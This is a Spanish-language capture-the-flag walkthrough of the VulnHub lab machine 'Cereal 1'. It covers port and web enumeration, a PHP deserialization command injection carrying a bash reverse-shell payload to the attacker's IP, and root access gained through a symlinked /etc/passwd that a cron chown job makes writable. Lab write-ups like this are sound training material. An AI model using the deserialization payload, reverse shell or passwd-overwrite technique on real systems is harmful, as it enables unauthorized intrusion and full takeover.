Cereal 1 - VulnHub
Vamos a empezar con la maquina
PortScan
❯ sudo nmap -sCV -p21,22,80,139,445,3306,11111,22222,22223,33333,33334,44441,44444,55551,55555 192.168.100.28 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-14 23:57 CST
Nmap scan report for 192.168.100.28
Host is up (0.00066s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 6 Apr 12 2021 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.100.15
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 00242bae41baac52d15d4fad00ce3967 (RSA)
| 256 1ae3c737522edcdd62610327551a866f (ECDSA)
|_ 256 24fde78089c557fdf3e5c92f01e16b30 (ED25519)
80/tcp open http Apache httpd 2.4.37 (())
|_http-title: Apache HTTP Server Test Page powered by: Rocky Linux
|_http-server-header: Apache/2.4.37 ()
| http-methods:
|_ Potentially risky methods: TRACE
139/tcp open tcpwrapped
445/tcp open tcpwrapped
3306/tcp open mysql?
| fingerprint-strings:
| NULL, afp:
|_ Host '192.168.100.15' is not allowed to connect to this MariaDB server
11111/tcp open tcpwrapped
22222/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
22223/tcp open tcpwrapped
33333/tcp open tcpwrapped
33334/tcp open tcpwrapped
44441/tcp open http Apache httpd 2.4.37 (())
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 ()
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
44444/tcp open tcpwrapped
55551/tcp open tcpwrapped
55555/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.93%I=7%D=2/14%Time=63EC7446%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4D,"I\0\0\x01\xffj\x04Host\x20'192\.168\.100\.15'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(afp,4D,"I
SF:\0\0\x01\xffj\x04Host\x20'192\.168\.100\.15'\x20is\x20not\x20allowed\x2
SF:0to\x20connect\x20to\x20this\x20MariaDB\x20server");
MAC Address: 00:0C:29:D9:33:3E (VMware)
Service Info: OS: Unix
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.54 seconds
La maquina tiene varios puertos abiertos entre ellos vemos 2 que son de tipo http
y el puerto que ofrece el servicio ftp
tambien esta abierto pero no hay gran cosa dentro.
Enumeration
❯ whatweb http://192.168.100.28
http://192.168.100.28 [403 Forbidden] Apache[2.4.37], Country[RESERVED][ZZ], Email[webmaster@example.com], HTML5, HTTPServer[Apache/2.4.37 ()], IP[192.168.100.28], PoweredBy[:], Title[Apache HTTP Server Test Page powered by: Rocky Linux]
Podemos ver que hay varias rutas
❯ sudo nmap --script http-enum -p80,44441 192.168.100.28 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 00:09 CST
Nmap scan report for 192.168.100.28
Host is up (0.0035s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /blog/: Blog
| /admin/: Possible admin folder
| /admin/index.php: Possible admin folder
| /phpinfo.php: Possible information file
| /blog/wp-login.php: Wordpress login page.
|_ /icons/: Potentially interesting folder w/ directory listing
44441/tcp open unknown
MAC Address: 00:0C:29:D9:33:3E (VMware)
Si ves el codigo fuente la web esta arrastrando archivos de un subdominio asi que lo agregamos al /etc/hosts
❯ /bin/cat /etc/hosts | tail -n 1
192.168.100.28 cereal.ctf
En la ruta blog
esto es lo que nos muestra parece ser un wordpress
Si hacemos un simple escaneo con dirsearch
vemos que encontramos las mismas rutas
❯ dirsearch -u 192.168.100.28 -x 404,403 -t 200
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 10903
Output File: /usr/lib/python3/dist-packages/dirsearch/reports/192.168.100.28_23-02-15_00-18-38.txt
Error Log: /usr/lib/python3/dist-packages/dirsearch/logs/errors-23-02-15_00-18-38.log
Target: http://192.168.100.28/
[00:18:38] Starting:
[00:18:45] 301 - 236B - /admin -> http://192.168.100.28/admin/
[00:18:45] 200 - 2KB - /admin/?/login
[00:18:45] 200 - 2KB - /admin/
[00:18:45] 200 - 2KB - /admin/index.php
[00:18:50] 301 - 235B - /blog -> http://192.168.100.28/blog/
[00:18:50] 200 - 7KB - /blog/wp-login.php
[00:18:50] 200 - 27KB - /blog/
[00:18:58] 200 - 75KB - /phpinfo.php
Revisando vemos que el wordpress no esta interpretando plugins
❯ curl -s -X POST http://cereal.ctf/blog/index.php/2021/05/29/update/ | grep -i plugins
Si probamos usando el usuario cereal
en el panel de login vemos que el usuario es valido pero no sabemos su contraseña se podria hacer fuerza bruta pero no es la idea
Bueno como smb estaba abierto probe listar recursos compartidos pero no me muestra nada de hecho como que da errores tambien con otras herramientas de smb para enumerar
❯ smbmap -H 192.168.100.28 -u 'null'
[!] Authentication error on 192.168.100.28
Tambien hay otro panel de login
Algo a saber es que tambien esta otra puerto abierto que es http
❯ cat targeted | grep "http" | grep -oP '\d{1,5}/tcp'
80/tcp
44441/tcp
Pero si vemos lo que hay en el puerto 44441
solo nos dice esto coming soon
Podemos aplicar fuzzing tambien para descubrir mas rutas pero nada interesante
❯ gobuster dir -u http://192.168.100.28:44441 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 60
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.100.28:44441
[+] Method: GET
[+] Threads: 60
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/02/15 13:01:11 Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 15]
Algo a saber es que si podemos fuzzear para ver si hay algun subdominio en el puerto 44441
❯ gobuster vhost -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://cereal.ctf:44441/ -t 40
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cereal.ctf:44441/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/02/15 13:04:51 Starting gobuster in VHOST enumeration mode
===============================================================
Found: secure.cereal.ctf:44441 (Status: 200) [Size: 1538]
Incorporamos el dominio al /etc/hosts
❯ /bin/cat /etc/hosts | tail -n 1
192.168.100.28 cereal.ctf secure.cereal.ctf
Vemos que hay un ping test, si recargas la pagina la maquina hace ping continuamente
Para probar Podemos ponernos en escucha con tcpdump
en escucha de trasas icmp para ver que tal
Vamos a hacernos un ping desde la web a nuestra ip para si resivimos la trasa
❯ sudo tcpdump -i ens33 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
13:12:30.839603 IP 192.168.100.28 > 192.168.100.15: ICMP echo request, id 1966, seq 1, length 64
13:12:30.839647 IP 192.168.100.15 > 192.168.100.28: ICMP echo reply, id 1966, seq 1, length 64
13:12:31.844275 IP 192.168.100.28 > 192.168.100.15: ICMP echo request, id 1966, seq 2, length 64
13:12:31.844295 IP 192.168.100.15 > 192.168.100.28: ICMP echo reply, id 1966, seq 2, length 64
13:12:32.867165 IP 192.168.100.28 > 192.168.100.15: ICMP echo request, id 1966, seq 3, length 64
13:12:32.867183 IP 192.168.100.15 > 192.168.100.28: ICMP echo reply, id 1966, seq 3, length 64
Y funciona la resivimos
Si tratamos de concatenar ;whoami
o alguna otra cosa no la va a interpretar ya que solo funciona para enviar un ping
Algo que podemos hacer es ver el codigo fuente de la pagina vemos que esta cargando un archivo llamado php.js
Para ver el archivo mas comodo ponemos transferirlo a nuestra maquina de atacante y ver que es lo que esta haciendo
❯ sudo wget http://secure.cereal.ctf:44441/php.js
--2023-02-15 13:21:12-- http://secure.cereal.ctf:44441/php.js
Resolviendo secure.cereal.ctf (secure.cereal.ctf)... 192.168.100.28
Conectando con secure.cereal.ctf (secure.cereal.ctf)[192.168.100.28]:44441... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 3699 (3.6K) [application/javascript]
Grabando a: «php.js»
php.js 100%[=======================================================>] 3.61K --.-KB/s en 0s
2023-02-15 13:21:12 (447 MB/s) - «php.js» guardado [3699/3699]
❯ /bin/cat php.js
function serialize (mixedValue) {
// discuss at: https://locutus.io/php/serialize/
// original by: Arpad Ray (mailto:arpad@php.net)
// improved by: Dino
// improved by: Le Torbi (https://www.letorbi.de/)
// improved by: Kevin van Zonneveld (https://kvz.io/)
// bugfixed by: Andrej Pavlovic
// bugfixed by: Garagoth
// bugfixed by: Russell Walker (https://www.nbill.co.uk/)
// bugfixed by: Jamie Beck (https://www.terabit.ca/)
// bugfixed by: Kevin van Zonneveld (https://kvz.io/)
// bugfixed by: Ben (https://benblume.co.uk/)
// bugfixed by: Codestar (https://codestarlive.com/)
// bugfixed by: idjem (https://github.com/idjem)
// input by: DtTvB (https://dt.in.th/2008-09-16.string-length-in-bytes.html)
// input by: Martin (https://www.erlenwiese.de/)
// note 1: We feel the main purpose of this function should be to ease
// note 1: the transport of data between php & js
// note 1: Aiming for PHP-compatibility, we have to translate objects to arrays
// example 1: serialize(['Kevin', 'van', 'Zonneveld'])
// returns 1: 'a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}'
// example 2: serialize({firstName: 'Kevin', midName: 'van'})
// returns 2: 'a:2:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";}'
// example 3: serialize( {'ü': 'ü', '四': '四', '𠜎': '𠜎'})
// returns 3: 'a:3:{s:2:"ü";s:2:"ü";s:3:"四";s:3:"四";s:4:"𠜎";s:4:"𠜎";}'
let val, key, okey
let ktype = ''
let vals = ''
let count = 0
const _utf8Size = function (str) {
return ~-encodeURI(str).split(/%..|./).length
}
const _getType = function (inp) {
let match
let key
let cons
let types
let type = typeof inp
if (type === 'object' && !inp) {
return 'null'
}
if (type === 'object') {
if (!inp.constructor) {
return 'object'
}
cons = inp.constructor.toString()
match = cons.match(/(\w+)\(/)
if (match) {
cons = match[1].toLowerCase()
}
types = ['boolean', 'number', 'string', 'array']
for (key in types) {
if (cons === types[key]) {
type = types[key]
break
}
}
}
return type
}
const type = _getType(mixedValue)
switch (type) {
case 'function':
val = ''
break
case 'boolean':
val = 'b:' + (mixedValue ? '1' : '0')
break
case 'number':
val = (Math.round(mixedValue) === mixedValue ? 'i' : 'd') + ':' + mixedValue
break
case 'string':
val = 's:' + _utf8Size(mixedValue) + ':"' + mixedValue + '"'
break
case 'array':
case 'object':
val = 'a'
/*
if (type === 'object') {
var objname = mixedValue.constructor.toString().match(/(\w+)\(\)/);
if (objname === undefined) {
return;
}
objname[1] = serialize(objname[1]);
val = 'O' + objname[1].substring(1, objname[1].length - 1);
}
*/
for (key in mixedValue) {
if (mixedValue.hasOwnProperty(key)) {
ktype = _getType(mixedValue[key])
if (ktype === 'function') {
continue
}
okey = (key.match(/^[0-9]+$/) ? parseInt(key, 10) : key)
vals += serialize(okey) + serialize(mixedValue[key])
count++
}
}
val += ':' + count + ':{' + vals + '}'
break
case 'undefined':
default:
// Fall-through
// if the JS object has a property which contains a null value,
// the string cannot be unserialized by PHP
val = 'N'
break
}
if (type !== 'object' && type !== 'array') {
val += ';'
}
return val
}
Estan usando serializacion de objetos
Otra cosa que podemos hacer es con burpsuite interceptar la peticion del ping para ver por detras como se esta empleando
Vamos a poner una ip y al hacer click en el boton de ping deberia de interceptar
Al darle click burpsuite la intercepta
Vamos a hacer un ctrl+r
para emitirlo al repeater
Vamos a hacer un ctrl+shift+u
para url decodear lo que esta en obj=
y podemos ver que esta haciendo
Las letras s
representan una string
pero en el codigo que nos descargamos no vemos una forma de como emplea la Deserializacion asi que podemos tratar de hacer fuzzing en la ruta
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://secure.cereal.ctf:44441/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://secure.cereal.ctf:44441/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000324: 200 123 L 447 W 3675 Ch "php"
000000901: 200 149 L 278 W 3118 Ch "style"
000000001: 200 49 L 140 W 1538 Ch "index"
Vamos a fuzzear por archivos .php
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://secure.cereal.ctf:44441/FUZZ.php
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://secure.cereal.ctf:44441/FUZZ.php
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 49 L 140 W 1538 Ch "index"
Como no encuentra gran cosa vamos a usar un diccionario mucho mas grande y vamos a emplear gobuster
ya que va mas rapido
❯ gobuster dir -u http://secure.cereal.ctf:44441/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 20
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://secure.cereal.ctf:44441/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/02/15 13:54:22 Starting gobuster in directory enumeration mode
===============================================================
/php (Status: 200) [Size: 3699]
/style (Status: 200) [Size: 3118]
/index (Status: 200) [Size: 1538]
/back_en (Status: 301) [Size: 247] [--> http://secure.cereal.ctf:44441/back_en/]
Nos encuentra un back_en
Y esto es lo que nos muestra no tenemos capacidad de directory listing para ver el contenido
Podemos emplear fuzzing para ver otras rutas apartir de /back_en
podemos poner que nos busque por .php.back
y si nos encuentra algo
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://secure.cereal.ctf:44441/back_en/FUZZ.php.bak
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://secure.cereal.ctf:44441/back_en/FUZZ.php.bak
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 79 L 155 W 1814 Ch "index"
Esto es lo que nos muestra la web
Podemos ver el codigo fuente
<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
function validate() {
if (!$this->isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
$this->isValid = True;
}
}
$this->ping();
}
public function ping()
{
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();
echo "<html>
<head>
<script src=\"http://secure.cereal.ctf:44441/php.js\"></script>
<script>
function submit_form() {
var object = serialize({ipAddress: document.forms[\"ipform\"].ip.value});
object = object.substr(object.indexOf(\"{\"),object.length);
object = \"O:8:\\\"pingTest\\\":1:\" + object;
document.forms[\"ipform\"].obj.value = object;
document.getElementById('ipform').submit();
}
</script>
<link rel='stylesheet' href='http://secure.cereal.ctf:44441/style.css' media='all' />
<title>Ping Test</title>
</head>
<body>
<div class=\"form-body\">
<div class=\"row\">
<div class=\"form-holder\">
<div class=\"form-content\">
<div class=\"form-items\">
<h3>Ping Test</h3>
<form method=\"POST\" action=\"/\" id=\"ipform\" onsubmit=\"submit_form();\" class=\"requires-validation\" novalidate>
<div class=\"col-md-12\">
<input name=\"obj\" type=\"hidden\" value=\"\">
<input class=\"form-control\" type=\"text\" name=\"ip\" placeholder=\"IP Address\" required>
</div>
<br />
<div class=\"form-button mt-3\">
<input type=\"submit\" value=\"Ping!\">
<br /><br /><textarea>$pingTest->output</textarea>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>";
?>
Ahora si nos esta diciendo como es que esta usando unserialize
y te lo url decodea lo que le hayas pasado no hay sanitizacion ya que si por post tramitas un dato te hace el unserialize
de la data correspondiente si le pasas una ip el campo isValid
lo convierte a true
aunque $isValid
esta puesto como False
si se iniciara con True
no haria la validacion lo que tenemos que hacer en enviar el dato serializado
Vamos a copearnos estas lineas
<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
}
Nos vamos a crear un archivo y vamos a pegar esas lineas
Tenemos que cambiar la ip del localhost para que nos mande una bash directamente y aplique el serialize
❯ /bin/cat pwned.php
<?php
class pingTest {
public $ipAddress = "; bash -c 'bash -i >& /dev/tcp/TuIP/443 0>&1'";
public $isValid = True;
public $output = "";
}
echo urlencode(serialize(new pingTest));
?>
Y funciona
❯ sudo php pwned.php 2>/dev/null; echo
O%3A8%3A%22pingTest%22%3A3%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A55%3A%22%3B+bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.100.15%2F443+0%3E%261%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3Bs%3A6%3A%22output%22%3Bs%3A0%3A%22%22%3B%7D
Nos vamos a poner en escucha en el puerto 443
❯ nc -nlvp 443
listening on [any] 443 ...
Y en burpsuite con la peticion que ya habimos hecho vamos a cambiar el dato por el de nosotros serializado y vamos a darle al enter para obtener una reverse shell
Shell apache
❯ sudo nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.100.15] from (UNKNOWN) [192.168.100.28] 39394
bash: cannot set terminal process group (942): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4$ whoami
whoami
apache
bash-4.4$
Para tener una mejor shell hacer un:
script /dev/null -c bash
stty raw echo; fg
reset xterm
ENTER
bash-4.4$ whoami
apache
bash-4.4$ export TERM=xterm
bash-4.4$ export SHELL=bash
bash-4.4$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.4$ hostname
cereal.ctf
bash-4.4$
Hay un usuario llamado rocky
bash-4.4$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
rocky:x:1000:1000::/home/rocky:/bin/bash
bash-4.4$
Podemos ver la primer flag
bash-4.4$ cat local.txt
aaa87365bf3dc0c1a82aa14b4ce26bbc
bash-4.4$ pwd
/home/rocky
bash-4.4$
Vamos a buscar por privilegios SUID
bash-4.4$ find / -perm -4000 2>/dev/null
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/at
/usr/sbin/grub2-set-bootflag
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/libexec/cockpit-session
/usr/libexec/sssd/krb5_child
/usr/libexec/sssd/ldap_child
/usr/libexec/sssd/selinux_child
/usr/libexec/sssd/proxy_child
bash-4.4$
Podriamos aprovecharnos del pkexec
pero no es la idea si vemos nuestro path vemos que es pequeño asi que podemos exportar el de nosotros para que sea mas grande
bash-4.4$ echo $PATH
/usr/local/bin:/usr/bin
bash-4.4$
export PATH=tuPATH
Funciona
bash-4.4$ which getcap
/usr/sbin/getcap
bash-4.4$
Vamos a buscar capabilities
bash-4.4$ which getcap
/usr/sbin/getcap
bash-4.4$ getcap -r / 2>/dev/null
/usr/bin/newgidmap = cap_setgid+ep
/usr/bin/newuidmap = cap_setuid+ep
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/mtr-packet = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
bash-4.4$
Escalada de privilegios
Despues de enumerar el sistema y ver que no hay gran cosa vamos a buscar por tareas cron vamos a usar pspy
Vamos a transferirlo ala maquina
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.100.28 - - [15/Feb/2023 14:52:31] "GET /pspy64 HTTP/1.1" 200 -
bash-4.4$ wget http://192.168.100.15:80/pspy64
--2023-02-15 20:52:25-- http://192.168.100.15/pspy64
Connecting to 192.168.100.15:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 100%[=======================================================>] 2.96M --.-KB/s in 0.03s
2023-02-15 20:52:25 (102 MB/s) - 'pspy64' saved [3104768/3104768]
bash-4.4$ ls
pspy64
bash-4.4$
Vemos que el pspy nos muestra esto que llama la atencion chown rocky:apache /home/rocky/public_html/back_en
y mas rutas
bash-4.4$ cd /home/rocky/public_html/
bash-4.4$ ls
back_en index.php php.js style.css
bash-4.4$ ls -l
total 12
drwxrwxr-x. 2 rocky apache 44 May 29 2021 back_en
-rwxrwxr-x. 1 rocky apache 1814 May 29 2021 index.php
-rwxrwxr-x. 1 rocky apache 3699 May 29 2021 php.js
-rwxrwxr-x. 1 rocky apache 3118 May 29 2021 style.css
bash-4.4$
Podemos crear un enlace simbolico
bash-4.4$ ln -s -f /etc/passwd passwd
bash-4.4$ ls -l
total 12
drwxrwxr-x. 2 rocky apache 44 May 29 2021 back_en
-rwxrwxr-x. 1 rocky apache 1814 May 29 2021 index.php
lrwxrwxrwx 1 apache apache 11 Feb 15 21:22 passwd -> /etc/passwd
-rwxrwxr-x. 1 rocky apache 3699 May 29 2021 php.js
-rwxrwxr-x. 1 rocky apache 3118 May 29 2021 style.css
Vamos a asignar una contraseña para la migracion yo voy a poner como contraseña hola
puedes poner lo que quieras
bash-4.4$ openssl passwd
Password:
Verifying - Password:
g.bHmvuXV5hFI
Vamos a esperar para que cambie
bash-4.4$ watch -n 1 ls -l /etc/passwd
Despues de unos momentos cambia
-rwxrwxr-x. 1 rocky apache 1549 May 29 2021 /etc/passwd
Ahora vamos a modificar el /etc/passwd
y donde esta la x
vamos a poner la contraseña que asignamos para que no valla al shadow
Basicamente donde esta la x
hay que cambiala por lo que te dio al escribir la contraseña con openssl
root:g.bHmvuXV5hFI:0:0:root:/root:
Root
bash-4.4$ su root
Password:
[root@cereal public_html]# whoami
root
[root@cereal public_html]# cd /root
[root@cereal ~]# ls
anaconda-ks.cfg listener.sh proof.txt
[root@cereal ~]# cat proof.txt
Well done! You have completed Cereal.
____ _
/ ___|___ _ __ ___ __ _| |
| | / _ \ '__/ _ \/ _` | |
| |__| __/ | | __/ (_| | |
\____\___|_| \___|\__,_|_|
This box was brought to you by Bootlesshacker.
Follow me on Twitter: @bootlesshacker
My website: https://www.bootlesshacker.com
Root Flag: 1aeb5db4e979543cb807cfd90df77763
[root@cereal ~]#